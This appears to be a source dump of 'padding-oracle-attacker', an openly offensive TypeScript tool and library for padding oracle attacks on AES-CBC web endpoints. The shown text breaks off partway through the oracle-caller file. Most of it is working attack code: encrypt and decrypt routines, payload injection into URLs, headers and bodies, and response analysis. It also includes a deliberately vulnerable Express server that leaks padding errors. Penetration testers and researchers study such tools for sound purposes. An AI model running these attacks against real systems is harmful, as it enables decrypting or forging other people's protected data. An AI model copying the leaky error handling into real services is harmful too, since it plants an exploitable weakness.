├── .gitattributes ├── index.js ├── src ├── bin.ts ├── bluebird.ts ├── index.ts ├── constants.ts ├── cache.ts ├── promises.ts ├── types.ts ├── encrypt.ts ├── decrypt.ts ├── response-analysis.ts ├── oracle-caller.ts ├── util.ts ├── padding-oracle.ts ├── cli.ts └── logging.ts ├── .npmignore ├── test ├── .eslintrc.yml ├── snapshots │ ├── decryption.js.snap │ ├── encryption.js.snap │ ├── decryption.js.md │ └── encryption.js.md ├── helpers │ ├── crypto.js │ └── vulnerable-server.js ├── encryption.js └── decryption.js ├── .gitignore ├── .travis.yml ├── media └── poattack-decrypt.gif ├── .editorconfig ├── examples ├── encrypt-example.ts └── decrypt-example.ts ├── banner.txt ├── .eslintrc.yml ├── license.txt ├── package.json ├── tsconfig.json └── readme.md /.gitattributes: -------------------------------------------------------------------------------- 1 | * text=auto eol=lf 2 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | module.exports = require('./dist') 2 | -------------------------------------------------------------------------------- /src/bin.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | import './cli' 3 | -------------------------------------------------------------------------------- /.npmignore: -------------------------------------------------------------------------------- 1 | _* 2 | .* 3 | src 4 | test 5 | examples 6 | -------------------------------------------------------------------------------- /test/.eslintrc.yml: -------------------------------------------------------------------------------- 1 | rules: 2 | '@typescript-eslint/no-var-requires': off 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | _* 2 | dist 3 | 4 | node_modules 5 | yarn-error.log 6 | 7 | .vscode 8 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | before_script: 2 | - yarn build 3 | language: node_js 4 | node_js: 5 | - 16 6 | - 14 7 | - 12 8 | -------------------------------------------------------------------------------- /src/bluebird.ts: -------------------------------------------------------------------------------- 1 | import bluebird from 'bluebird' 2 | 3 | global.Promise = bluebird 4 | 5 | export default bluebird 6 | -------------------------------------------------------------------------------- /media/poattack-decrypt.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KishanBagaria/padding-oracle-attacker/HEAD/media/poattack-decrypt.gif -------------------------------------------------------------------------------- /test/snapshots/decryption.js.snap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KishanBagaria/padding-oracle-attacker/HEAD/test/snapshots/decryption.js.snap -------------------------------------------------------------------------------- /test/snapshots/encryption.js.snap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KishanBagaria/padding-oracle-attacker/HEAD/test/snapshots/encryption.js.snap -------------------------------------------------------------------------------- /src/index.ts: -------------------------------------------------------------------------------- 1 | import './bluebird' 2 | import decryptFunc from './decrypt' 3 | import encryptFunc from './encrypt' 4 | 5 | export const decrypt = decryptFunc 6 | export const encrypt = encryptFunc 7 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*.js,*.ts] 4 | indent_style = spaces 5 | indent_size = 2 6 | end_of_line = lf 7 | charset = utf-8 8 | trim_trailing_whitespace = true 9 | insert_final_newline = true 10 | -------------------------------------------------------------------------------- /src/constants.ts: -------------------------------------------------------------------------------- 1 | const pkg = require('../package.json') // eslint-disable-line 2 | 3 | const GITHUB_REPO_URL = `https://github.com/${pkg.repository}` 4 | 5 | export const DEFAULT_USER_AGENT = `${pkg.name}/${pkg.version} (${GITHUB_REPO_URL})` 6 | export const CACHE_FILE_PATH = 'poattack-cache.json.gz.txt' 7 | 8 | export const PKG_NAME = pkg.name 9 | export const PKG_VERSION = pkg.version 10 | -------------------------------------------------------------------------------- /examples/encrypt-example.ts: -------------------------------------------------------------------------------- 1 | import { encrypt } from 'padding-oracle-attacker' 2 | 3 | const json = { foo: 1, bar: { baz: 1337 } } 4 | const txt = JSON.stringify(json) 5 | const plaintext = Buffer.from(txt, 'utf8') 6 | 7 | encrypt({ 8 | url: 'http://localhost:2020/decrypt?ciphertext=', 9 | blockSize: 16, 10 | plaintext, 11 | isDecryptionSuccess: ({ statusCode }) => statusCode !== 400 12 | }).catch(console.error) 13 | -------------------------------------------------------------------------------- /banner.txt: -------------------------------------------------------------------------------- 1 | __ ___ __ __ __ __ 2 | ___ ___ ____/ /__/ (_)__ ___ _ ___ _______ _____/ /__ ___ _/ /_/ /____ _____/ /_____ ____ 3 | / _ \/ _ `/ _ / _ / / _ \/ _ `/ / _ \/ __/ _ `/ __/ / -_) / _ `/ __/ __/ _ `/ __/ '_/ -_) __/ 4 | / .__/\_,_/\_,_/\_,_/_/_//_/\_, / \___/_/ \_,_/\__/_/\__/ \_,_/\__/\__/\_,_/\__/_/\_\\__/_/ 5 | /_/ /___/ 6 | -------------------------------------------------------------------------------- /test/helpers/crypto.js: -------------------------------------------------------------------------------- 1 | const crypto = require('crypto') 2 | 3 | function encrypt(encryptionAlgo, plaintext, key, iv) { 4 | const cipher = crypto.createCipheriv(encryptionAlgo, key, iv) 5 | return Buffer.concat([cipher.update(plaintext), cipher.final()]) 6 | } 7 | function decrypt(encryptionAlgo, ciphertext, key, iv) { 8 | const decipher = crypto.createDecipheriv(encryptionAlgo, key, iv) 9 | return Buffer.concat([decipher.update(ciphertext), decipher.final()]) 10 | } 11 | 12 | module.exports = { encrypt, decrypt } 13 | -------------------------------------------------------------------------------- /test/snapshots/decryption.js.md: -------------------------------------------------------------------------------- 1 | # Snapshot report for `test/decryption.js` 2 | 3 | The actual snapshot is saved in `decryption.js.snap`. 4 | 5 | Generated by [AVA](https://ava.li). 6 | 7 | ## decrypts 8 | 9 | > Snapshot 1 10 | 11 | { 12 | blockCount: 3, 13 | foundBytes: Buffer @Uint8Array [ 14 | 466f6c6c 6f772074 68652077 68697465 20726162 62697420 f09f9087 04040404 15 | ], 16 | interBytes: Buffer @Uint8Array [ 17 | a58861e9 f6574633 b3ac4925 c2cb7db2 7b3c5d2b 2a2bde3a 580c8fd6 5459f6ac 18 | ], 19 | totalSize: 48, 20 | } 21 | -------------------------------------------------------------------------------- /examples/decrypt-example.ts: -------------------------------------------------------------------------------- 1 | import { decrypt } from 'padding-oracle-attacker' 2 | 3 | const cipherHex = 'e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9' 4 | const ciphertext = Buffer.from(cipherHex, 'hex') 5 | 6 | // optional: already known plaintext bytes (from the end) 7 | const alreadyFound = Buffer.from('04040404', 'hex') 8 | 9 | decrypt({ 10 | url: 'http://localhost:2020/decrypt?ciphertext=', 11 | blockSize: 16, 12 | ciphertext, 13 | alreadyFound, 14 | isDecryptionSuccess: ({ statusCode }) => statusCode !== 400 15 | }).catch(console.error) 16 | -------------------------------------------------------------------------------- /test/snapshots/encryption.js.md: -------------------------------------------------------------------------------- 1 | # Snapshot report for `test/encryption.js` 2 | 3 | The actual snapshot is saved in `encryption.js.snap`. 4 | 5 | Generated by [AVA](https://ava.li). 6 | 7 | ## encrypts 8 | 9 | > Snapshot 1 10 | 11 | { 12 | blockCount: 4, 13 | finalRequest: undefined, 14 | foundBytes: Buffer @Uint8Array [ 15 | c875ba53 697f9c79 6a3a1233 ec788798 09f38cc0 dc843077 aee6905a 38d6e6a3 16 | ce8ddcdd 6018fb40 d17da062 7e675a4d 00000000 00000000 00000000 00000000 17 | ], 18 | interBytes: Buffer @Uint8Array [ 19 | bd1bd330 060df20a 4a48735a 821ae8ef 7ad37c5f 7a00c0e8 226e72c2 b8395e2c 20 | eeebb3b2 407a9a32 d975a86a 766f5245 21 | ], 22 | totalSize: 64, 23 | } 24 | -------------------------------------------------------------------------------- /src/cache.ts: -------------------------------------------------------------------------------- 1 | import zlib from 'zlib' 2 | import Keyv from 'keyv' 3 | import KeyvFile from 'keyv-file' 4 | 5 | import { CACHE_FILE_PATH } from './constants' 6 | 7 | // TODO: develop, publish keyv-json-file and use it instead of keyv-file 8 | // $ cat poattack-cache.json.gz.txt|base64 -D|gunzip|jq 9 | const cacheStore = new Keyv({ 10 | store: new KeyvFile({ 11 | filename: CACHE_FILE_PATH, 12 | encode: (obj) => { 13 | const json = JSON.stringify(obj) 14 | return zlib.gzipSync(json).toString('base64') 15 | }, 16 | decode: (txt: string) => { 17 | const bin = zlib.gunzipSync(Buffer.from(txt, 'base64')) 18 | const json = bin.toString() 19 | return JSON.parse(json) 20 | } 21 | }) 22 | }) 23 | 24 | export default cacheStore 25 | -------------------------------------------------------------------------------- /test/encryption.js: -------------------------------------------------------------------------------- 1 | const test = require('ava') 2 | const getPort = require('get-port') 3 | 4 | const { encrypt } = require('../dist') 5 | const runVulnServer = require('./helpers/vulnerable-server') 6 | 7 | const isDecryptionSuccess = ({ statusCode }) => statusCode !== 400 8 | 9 | test('encrypts', async (t) => { 10 | const { server, port } = await runVulnServer({ port: await getPort() }) 11 | const encryption = await encrypt({ 12 | url: `http://localhost:${port}/decrypt?ciphertext=`, 13 | blockSize: 16, 14 | logMode: 'none', 15 | isCacheEnabled: false, 16 | plaintext: Buffer.from('unicorns rainbows 🦄🌈☀️ foo bar', 'utf8'), 17 | makeFinalRequest: false, 18 | isDecryptionSuccess 19 | }) 20 | t.snapshot(encryption) 21 | server.close() 22 | }) 23 | -------------------------------------------------------------------------------- /test/decryption.js: -------------------------------------------------------------------------------- 1 | const test = require('ava') 2 | const getPort = require('get-port') 3 | 4 | const { decrypt } = require('../dist') 5 | const runVulnServer = require('./helpers/vulnerable-server') 6 | 7 | const isDecryptionSuccess = ({ statusCode }) => statusCode !== 400 8 | 9 | test('decrypts', async (t) => { 10 | const { server, port } = await runVulnServer({ port: await getPort() }) 11 | const decryption = await decrypt({ 12 | url: `http://localhost:${port}/decrypt?ciphertext=`, 13 | blockSize: 16, 14 | logMode: 'none', 15 | isCacheEnabled: false, 16 | ciphertext: Buffer.from('e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9', 'hex'), 17 | startFromFirstBlock: true, 18 | isDecryptionSuccess 19 | }) 20 | t.snapshot(decryption) 21 | server.close() 22 | }) 23 | -------------------------------------------------------------------------------- /.eslintrc.yml: -------------------------------------------------------------------------------- 1 | parser: '@typescript-eslint/parser' 2 | plugins: ['@typescript-eslint'] 3 | extends: [airbnb-base, plugin:@typescript-eslint/recommended] 4 | rules: 5 | semi: [error, never] 6 | comma-dangle: [error, never] 7 | import/extensions: [error, never] 8 | max-len: [warn, 180] 9 | prefer-template: off 10 | no-await-in-loop: off 11 | no-bitwise: off 12 | no-console: off 13 | no-continue: off 14 | no-control-regex: off 15 | no-plusplus: off 16 | no-restricted-globals: off 17 | no-restricted-syntax: off 18 | no-underscore-dangle: off 19 | object-curly-newline: off 20 | import/no-unresolved: off 21 | 22 | '@typescript-eslint/member-delimiter-style': 23 | - error 24 | - multiline: { delimiter: none } 25 | singleline: { delimiter: comma } 26 | '@typescript-eslint/indent': off 27 | '@typescript-eslint/explicit-function-return-type': off 28 | -------------------------------------------------------------------------------- /src/promises.ts: -------------------------------------------------------------------------------- 1 | import pLimit, { Limit } from 'p-limit' 2 | import bluebird from './bluebird' 3 | 4 | class IgnoreError extends Error { 5 | public constructor() { 6 | super() 7 | this.name = 'IgnoreError' 8 | } 9 | } 10 | 11 | type promiseLike = () => {} | PromiseLike<{}> 12 | const rejectOnFalsey = (limit: Limit) => async (promise: promiseLike) => { 13 | const returnVal = await limit(promise) 14 | if (returnVal) return returnVal 15 | return Promise.reject(new IgnoreError()) 16 | } 17 | 18 | // take an array of promises 19 | // run n (`concurrency`) promises concurrently 20 | // when any promise is fulfilled with a truthy value, stop 21 | async function waitUntilFirstTruthyPromise(promises: promiseLike[], { concurrency = 16 } = {}) { 22 | const limit = pLimit(concurrency) 23 | await bluebird.any(promises.map(rejectOnFalsey(limit))).catch(bluebird.AggregateError, (err) => { 24 | if (!(err[0] instanceof IgnoreError)) throw err[0] 25 | }) 26 | } 27 | 28 | export default waitUntilFirstTruthyPromise 29 | -------------------------------------------------------------------------------- /license.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019- Kishan Bagaria (kishanbagaria.com) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/types.ts: -------------------------------------------------------------------------------- 1 | export interface HeadersObject { [key: string]: string } 2 | export interface OracleResult { url: string, statusCode: number, headers: HeadersObject, body: string } 3 | 4 | interface RequestOptions { 5 | method?: string 6 | headers?: string | string[] | HeadersObject 7 | data?: string 8 | } 9 | export interface OracleCallerOptions { 10 | url: string 11 | requestOptions?: RequestOptions 12 | transformPayload?: (payload: Buffer) => string 13 | isCacheEnabled?: boolean 14 | logMode?: 'full' | 'minimal' | 'none' 15 | } 16 | interface OptionsBase extends OracleCallerOptions { 17 | blockSize: number 18 | concurrency?: number 19 | isDecryptionSuccess: (oracleResult: OracleResult) => boolean 20 | } 21 | export interface ResponseAnalysisOptions extends OracleCallerOptions { 22 | blockSize: number 23 | concurrency?: number 24 | saveResponsesToTmpDir?: boolean 25 | } 26 | export interface PaddingOracleOptions extends OptionsBase { 27 | ciphertext: Buffer 28 | plaintext: Buffer 29 | blockCount: number 30 | origBytes: Buffer 31 | foundBytes: Buffer 32 | interBytes: Buffer 33 | foundOffsets: Set 34 | initFirstPayloadBlockWithOrigBytes?: boolean 35 | startFromFirstBlock?: boolean 36 | } 37 | export interface DecryptOptions extends OptionsBase { 38 | ciphertext: Buffer 39 | makeInitialRequest?: boolean 40 | alreadyFound?: Buffer 41 | initFirstPayloadBlockWithOrigBytes?: boolean 42 | startFromFirstBlock?: boolean 43 | } 44 | export interface EncryptOptions extends OptionsBase { 45 | plaintext: Buffer 46 | makeFinalRequest?: boolean 47 | lastCiphertextBlock?: Buffer 48 | } 49 | -------------------------------------------------------------------------------- /src/encrypt.ts: -------------------------------------------------------------------------------- 1 | import ow from 'ow' 2 | 3 | import { addPadding } from './util' 4 | import { encryption } from './logging' 5 | import PaddingOracle from './padding-oracle' 6 | import { EncryptOptions } from './types' 7 | 8 | const { logStart, logCompletion } = encryption 9 | 10 | async function encrypt({ 11 | url, blockSize, logMode = 'full', plaintext: _plaintext, makeFinalRequest = true, lastCiphertextBlock, ...args 12 | }: EncryptOptions) { 13 | ow(_plaintext, 'plaintext', ow.buffer) 14 | ow(lastCiphertextBlock, ow.optional.buffer) 15 | if (lastCiphertextBlock && lastCiphertextBlock.length !== blockSize) throw TypeError('Invalid `lastCiphertextBlock`, should have length equal to `blockSize`') 16 | 17 | const plaintext = addPadding(_plaintext, blockSize) 18 | 19 | const blockCount = (plaintext.length / blockSize) + 1 20 | const totalSize = blockCount * blockSize 21 | 22 | const foundBytes = Buffer.alloc(totalSize) // ciphertext bytes 23 | const interBytes = Buffer.alloc(totalSize - blockSize) 24 | const foundOffsets: Set = new Set() 25 | 26 | if (lastCiphertextBlock) { 27 | lastCiphertextBlock.copy(foundBytes, foundBytes.length - blockSize) 28 | } 29 | 30 | if (['full', 'minimal'].includes(logMode)) logStart({ blockCount, totalSize }) 31 | 32 | const po = PaddingOracle({ 33 | origBytes: plaintext, ciphertext: foundBytes, plaintext, foundBytes, interBytes, foundOffsets, blockSize, blockCount, url, logMode, ...args 34 | }) 35 | await po.processBlocks() 36 | const finalRequest = makeFinalRequest ? await po.callOracle(foundBytes) : undefined 37 | 38 | if (['full', 'minimal'].includes(logMode)) logCompletion({ foundBytes, interBytes, finalRequest }) 39 | 40 | return { blockCount, totalSize, foundBytes, interBytes, finalRequest } 41 | } 42 | 43 | export default encrypt 44 | -------------------------------------------------------------------------------- /src/decrypt.ts: -------------------------------------------------------------------------------- 1 | import ow from 'ow' 2 | import { range } from 'lodash' 3 | 4 | import { decryption } from './logging' 5 | import PaddingOracle from './padding-oracle' 6 | import { DecryptOptions } from './types' 7 | import { xor } from './util' 8 | 9 | const { logStart, logCompletion } = decryption 10 | 11 | async function decrypt({ 12 | url, blockSize, logMode = 'full', ciphertext, isDecryptionSuccess, makeInitialRequest = true, alreadyFound, startFromFirstBlock, initFirstPayloadBlockWithOrigBytes, ...args 13 | }: DecryptOptions) { 14 | ow(ciphertext, ow.buffer) 15 | ow(alreadyFound, ow.optional.buffer) 16 | if (ciphertext.length % blockSize !== 0) throw TypeError('Invalid `ciphertext`, should be evenly divisble by `blockSize`') 17 | 18 | const totalSize = ciphertext.length 19 | const blockCount = totalSize / blockSize 20 | 21 | const foundBytes = Buffer.alloc(totalSize - blockSize) // plaintext bytes 22 | const interBytes = Buffer.alloc(totalSize - blockSize) 23 | const foundOffsets: Set = new Set() 24 | 25 | if (alreadyFound && alreadyFound.length) { 26 | const startIndex = foundBytes.length - alreadyFound.length 27 | const lastBytes = ciphertext.slice(startIndex) 28 | const interFound = xor(alreadyFound, lastBytes) 29 | alreadyFound.copy(foundBytes, startIndex) 30 | interFound.copy(interBytes, startIndex) 31 | for (const offset of range(startIndex, foundBytes.length)) foundOffsets.add(offset) 32 | } 33 | 34 | const origBytes = ciphertext 35 | const plaintext = foundBytes 36 | const po = PaddingOracle({ 37 | origBytes, 38 | ciphertext, 39 | plaintext, 40 | foundBytes, 41 | interBytes, 42 | foundOffsets, 43 | blockSize, 44 | blockCount, 45 | url, 46 | isDecryptionSuccess, 47 | startFromFirstBlock, 48 | initFirstPayloadBlockWithOrigBytes, 49 | logMode, 50 | ...args 51 | }) 52 | const initialRequest = makeInitialRequest ? po.callOracle(ciphertext) : undefined 53 | const decryptionSuccess = initialRequest ? initialRequest.then(isDecryptionSuccess) : undefined 54 | if (['full', 'minimal'].includes(logMode)) await logStart({ blockCount, totalSize, initialRequest, decryptionSuccess }) 55 | await po.processBlocks() 56 | 57 | if (['full', 'minimal'].includes(logMode)) logCompletion({ foundBytes, interBytes }) 58 | 59 | return { blockCount, totalSize, foundBytes, interBytes } 60 | } 61 | 62 | export default decrypt 63 | -------------------------------------------------------------------------------- /test/helpers/vulnerable-server.js: -------------------------------------------------------------------------------- 1 | const crypto = require('crypto') 2 | const util = require('util') 3 | const express = require('express') 4 | const bodyParser = require('body-parser') 5 | const { encrypt, decrypt } = require('./crypto') 6 | 7 | const randomBytes = util.promisify(crypto.randomBytes) 8 | 9 | const DEFAULT_KEY = Buffer.from('00112233445566778899112233445566', 'hex') 10 | const DEFAULT_ENCODING = 'hex' 11 | 12 | function run(args) { 13 | const { port = 2020, loggingEnabled, encryptionAlgo = 'aes-128-cbc', key = DEFAULT_KEY } = args || {} 14 | const blockSize = +args.blockSize || 16 15 | 16 | const app = express() 17 | app.disable('x-powered-by') 18 | app.disable('etag') 19 | app.use(bodyParser.urlencoded({ extended: false })) 20 | app.use(bodyParser.json()) 21 | 22 | app.get('/encrypt', async (req, res) => { 23 | const { plaintext } = req.query 24 | if (!plaintext) { 25 | res.sendStatus(400) 26 | return 27 | } 28 | const iv = await randomBytes(blockSize) 29 | const plaintextBuffer = Buffer.from(plaintext, 'utf8') 30 | const ciphertext = encrypt(encryptionAlgo, plaintextBuffer, key, iv) 31 | res.send(Buffer.concat([iv, ciphertext]).toString(DEFAULT_ENCODING)) 32 | }) 33 | app.all('/decrypt', (req, res) => { 34 | const { ciphertext, includeHeaders = false } = req.query 35 | if (!ciphertext) { 36 | res.sendStatus(400) 37 | return 38 | } 39 | const fullBuffer = Buffer.from(ciphertext, DEFAULT_ENCODING) 40 | const ivBuffer = fullBuffer.slice(0, blockSize) 41 | const ciphertextBuffer = fullBuffer.slice(blockSize) 42 | const reqDetails = [req.method, req.headers, req.body] 43 | try { 44 | const decrypted = decrypt(encryptionAlgo, ciphertextBuffer, key, ivBuffer) 45 | const txt = decrypted.toString('utf8') 46 | if (loggingEnabled) console.log(200, ciphertext, txt, ...reqDetails) 47 | if (includeHeaders) res.json({ headers: req.headers, decrypted: txt }) 48 | else res.send('OK') 49 | } catch (err) { 50 | if (loggingEnabled) console.log(400, ciphertext, err.message, ...reqDetails) 51 | res.status(400).send(err.message) 52 | } 53 | }) 54 | 55 | return new Promise((resolve) => { 56 | const server = app.listen(port, () => resolve({ port, server })) 57 | }) 58 | } 59 | 60 | module.exports = run 61 | 62 | if (require.main === module) { 63 | run({ loggingEnabled: true }).then(({ port }) => { 64 | console.log(`listening on http://localhost:${port}/`) 65 | }).catch(console.error) 66 | } 67 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "padding-oracle-attacker", 3 | "version": "0.2.4", 4 | "description": "CLI tool and library to execute padding oracle attacks easily", 5 | "license": "MIT", 6 | "repository": "KishanBagaria/padding-oracle-attacker", 7 | "author": { 8 | "name": "Kishan Bagaria", 9 | "email": "hi@kishan.info", 10 | "url": "https://kishanbagaria.com" 11 | }, 12 | "engines": { 13 | "node": ">=8" 14 | }, 15 | "bin": { 16 | "padding-oracle-attacker": "./dist/bin.js", 17 | "padding-oracle-attack": "./dist/bin.js", 18 | "poattack": "./dist/bin.js" 19 | }, 20 | "scripts": { 21 | "build": "tsc", 22 | "clean": "trash dist || rm -rf dist", 23 | "lint": "eslint --ext ts,js src/ test/", 24 | "test": "(yarn lint || npm run lint); ava", 25 | "prepublishOnly": "(yarn clean || npm run clean); (yarn build || npm run build)", 26 | "vuln-server": "node test/helpers/vulnerable-server.js" 27 | }, 28 | "keywords": [ 29 | "aes", 30 | "cbc", 31 | "cipher-block-chaining", 32 | "cipher", 33 | "encryption", 34 | "decryption", 35 | "cryptography", 36 | "crypto", 37 | "pkcs", 38 | "pkcs5", 39 | "pkcs7" 40 | ], 41 | "dependencies": { 42 | "@types/ansi-styles": "^3.2.1", 43 | "@types/bluebird": "^3.5.26", 44 | "@types/bluebird-global": "^3.5.11", 45 | "@types/fs-extra": "^8.0.0", 46 | "@types/got": "^9.4.4", 47 | "@types/keyv": "^3.1.0", 48 | "@types/lodash": "^4.14.125", 49 | "@types/minimist": "^1.2.0", 50 | "@types/node": "^12.0.0", 51 | "@types/table": "^4.0.6", 52 | "@types/tmp": "^0.1.0", 53 | "@types/wrap-ansi": "^3.0.0", 54 | "ansi-styles": "^3.2.1", 55 | "bluebird": "^3.5.4", 56 | "chalk": "^2.4.2", 57 | "fs-extra": "^8.1.0", 58 | "got": "^9.6.0", 59 | "keyv": "^3.1.0", 60 | "keyv-file": "^0.1.13", 61 | "lodash": "^4.17.11", 62 | "log-update": "^3.2.0", 63 | "minimist": "^1.2.0", 64 | "ow": "^0.12.0", 65 | "p-limit": "^2.2.0", 66 | "pretty-bytes": "^5.2.0", 67 | "table": "^5.4.6", 68 | "tmp-promise": "^2.0.2", 69 | "wrap-ansi": "^5.1.0" 70 | }, 71 | "devDependencies": { 72 | "@typescript-eslint/eslint-plugin": "^1.7.0", 73 | "@typescript-eslint/parser": "^1.7.0", 74 | "ava": "*", 75 | "body-parser": "^1.19.0", 76 | "eslint": "^5.16.0", 77 | "eslint-config-airbnb-base": "^13.1.0", 78 | "eslint-plugin-import": "^2.17.2", 79 | "express": "^4.16.4", 80 | "get-port": "^5.0.0", 81 | "ts-node": "^8.1.0", 82 | "typescript": "^3" 83 | }, 84 | "ava": { 85 | "files": [ 86 | "test/*" 87 | ] 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /src/response-analysis.ts: -------------------------------------------------------------------------------- 1 | import bluebird from './bluebird' // eslint-disable-line import/order 2 | 3 | import path from 'path' 4 | import ow from 'ow' 5 | import fse from 'fs-extra' 6 | import tmp from 'tmp-promise' 7 | import chalk from 'chalk' 8 | import { range, orderBy } from 'lodash' 9 | 10 | import { analysis } from './logging' 11 | import OracleCaller from './oracle-caller' 12 | import { OracleResult, ResponseAnalysisOptions } from './types' 13 | import { getStatusCodeColor, stringifyHeaders } from './util' 14 | 15 | const { logStart, logCompletion } = analysis 16 | 17 | type OracleResultWithPayload = OracleResult & { payload: Buffer } 18 | 19 | const getResponseText = (res: OracleResultWithPayload) => ` 27 | ${res.body}` 28 | 29 | const byteRange = range(0, 256) 30 | async function analyseResponses({ 31 | url, blockSize, logMode = 'full', concurrency = 128, isCacheEnabled = true, saveResponsesToTmpDir = true, ...args 32 | }: ResponseAnalysisOptions) { 33 | ow(blockSize, ow.number) 34 | ow(concurrency, ow.number) 35 | 36 | const tmpDirPath = saveResponsesToTmpDir ? (await tmp.dir({ prefix: 'poattack_' })).path : '' 37 | if (['full', 'minimal'].includes(logMode)) await logStart({ url, blockSize, tmpDirPath }) 38 | 39 | const { callOracle, networkStats } = OracleCaller({ url, isCacheEnabled, ...args }) 40 | 41 | const statusCodeFreq: {[key: string]: number} = {} 42 | const bodyLengthFreq: {[key: string]: number} = {} 43 | const responses: {[key: number]: OracleResultWithPayload} = {} 44 | const fsPromises: Promise[] = [] 45 | const rows: string[][] = [] 46 | async function processByte(byte: number) { 47 | const twoBlocks = Buffer.alloc(blockSize * 2) 48 | twoBlocks[blockSize - 1] = byte 49 | const req = await callOracle(twoBlocks) 50 | const res = { ...req, payload: twoBlocks } 51 | if (saveResponsesToTmpDir) { 52 | fsPromises.push(fse.writeFile(path.join(tmpDirPath, byte + '.html'), getResponseText(res))) 53 | } 54 | const { statusCode } = req 55 | const cl = req.body.length 56 | responses[byte] = res 57 | statusCodeFreq[statusCode] = (statusCodeFreq[statusCode] || 0) + 1 58 | bodyLengthFreq[cl] = (bodyLengthFreq[cl] || 0) + 1 59 | const color = getStatusCodeColor(statusCode) 60 | rows.push([String(byte), chalk[color](String(statusCode)), String(cl)]) 61 | } 62 | if (concurrency > 1) { 63 | await bluebird.map(byteRange, processByte, { concurrency }) 64 | } else { 65 | for (const byte of byteRange) await processByte(byte) 66 | } 67 | 68 | await Promise.all(fsPromises) 69 | 70 | if (['full', 'minimal'].includes(logMode)) { 71 | const responsesTable = orderBy(rows, [1, 2, x => +x[0]]) 72 | logCompletion({ responsesTable, networkStats, statusCodeFreq, bodyLengthFreq, tmpDirPath, isCacheEnabled }) 73 | } 74 | return { responses, statusCodeFreq, bodyLengthFreq, tmpDirPath } 75 | } 76 | 77 | export default analyseResponses 78 | -------------------------------------------------------------------------------- /src/oracle-caller.ts: -------------------------------------------------------------------------------- 1 | import got from 'got' 2 | import ow from 'ow' 3 | import { pick } from 'lodash' 4 | 5 | import cacheStore from './cache' 6 | import { arrayifyHeaders } from './util' 7 | import { DEFAULT_USER_AGENT } from './constants' 8 | import { HeadersObject, OracleResult, OracleCallerOptions } from './types' 9 | 10 | type AddPayload = (str?: string) => string | undefined 11 | 12 | function getHeaders(headersArg: string | string[] | HeadersObject | undefined, addPayload: AddPayload) { 13 | if (!headersArg) return {} 14 | const headersArr = (() => { 15 | if (Array.isArray(headersArg)) return headersArg 16 | if (typeof headersArg === 'object') return arrayifyHeaders(headersArg) 17 | return [headersArg] 18 | })() 19 | const headers: HeadersObject = {} 20 | for (const _header of headersArr) { 21 | ow(_header, 'header', ow.string) 22 | const header = addPayload(_header) as string 23 | const index = header.indexOf(':') 24 | if (index < 1) throw TypeError(`Invalid header: ${header}`) 25 | const name = index > 0 ? header.slice(0, index).trim() : header 26 | headers[name] = header.slice(index + 1).trimLeft() 27 | } 28 | return headers 29 | } 30 | 31 | const POPAYLOAD = '{POPAYLOAD}' 32 | const injectionRegex = new RegExp(POPAYLOAD, 'ig') 33 | 34 | const OracleCaller = (options: OracleCallerOptions) => { 35 | const { 36 | url: _url, 37 | requestOptions = {}, 38 | transformPayload, 39 | isCacheEnabled = true 40 | } = options 41 | ow(_url, 'url', ow.string) 42 | if (transformPayload) ow(transformPayload, ow.function) 43 | ow(requestOptions, ow.object) 44 | ow(requestOptions.method, ow.optional.string) 45 | if (requestOptions.headers) ow(requestOptions.headers, ow.any(ow.object, ow.string, ow.array)) 46 | ow(requestOptions.data, ow.optional.string) 47 | 48 | const { method, headers, data } = requestOptions 49 | const injectionStringPresent = !_url.includes(POPAYLOAD) 50 | && !String(typeof headers === 'object' ? JSON.stringify(headers) : headers).includes(POPAYLOAD) 51 | && !(data || '').includes(POPAYLOAD) 52 | const networkStats = { count: 0, lastDownloadTime: 0, bytesDown: 0, bytesUp: 0 } 53 | 54 | async function callOracle(payload: Buffer): Promise { 55 | const payloadString = transformPayload ? transformPayload(payload) : payload.toString('hex') 56 | const addPayload: AddPayload = str => (str ? str.replace(injectionRegex, payloadString) : str) 57 | const url = (injectionStringPresent ? _url + payloadString : addPayload(_url)) as string 58 | const customHeaders = getHeaders(headers, addPayload) 59 | const body = addPayload(data) 60 | const cacheKey = [url, JSON.stringify(customHeaders), body].join('|') 61 | if (isCacheEnabled) { 62 | const cached = await cacheStore.get(cacheKey) as OracleResult 63 | if (cached) return { url, ...cached } 64 | } 65 | const response = await got(url, { 66 | throwHttpErrors: false, 67 | method, 68 | headers: { 69 | 'user-agent': DEFAULT_USER_AGENT, 70 | ...customHeaders 71 | }, 72 | body 73 | }) 74 | 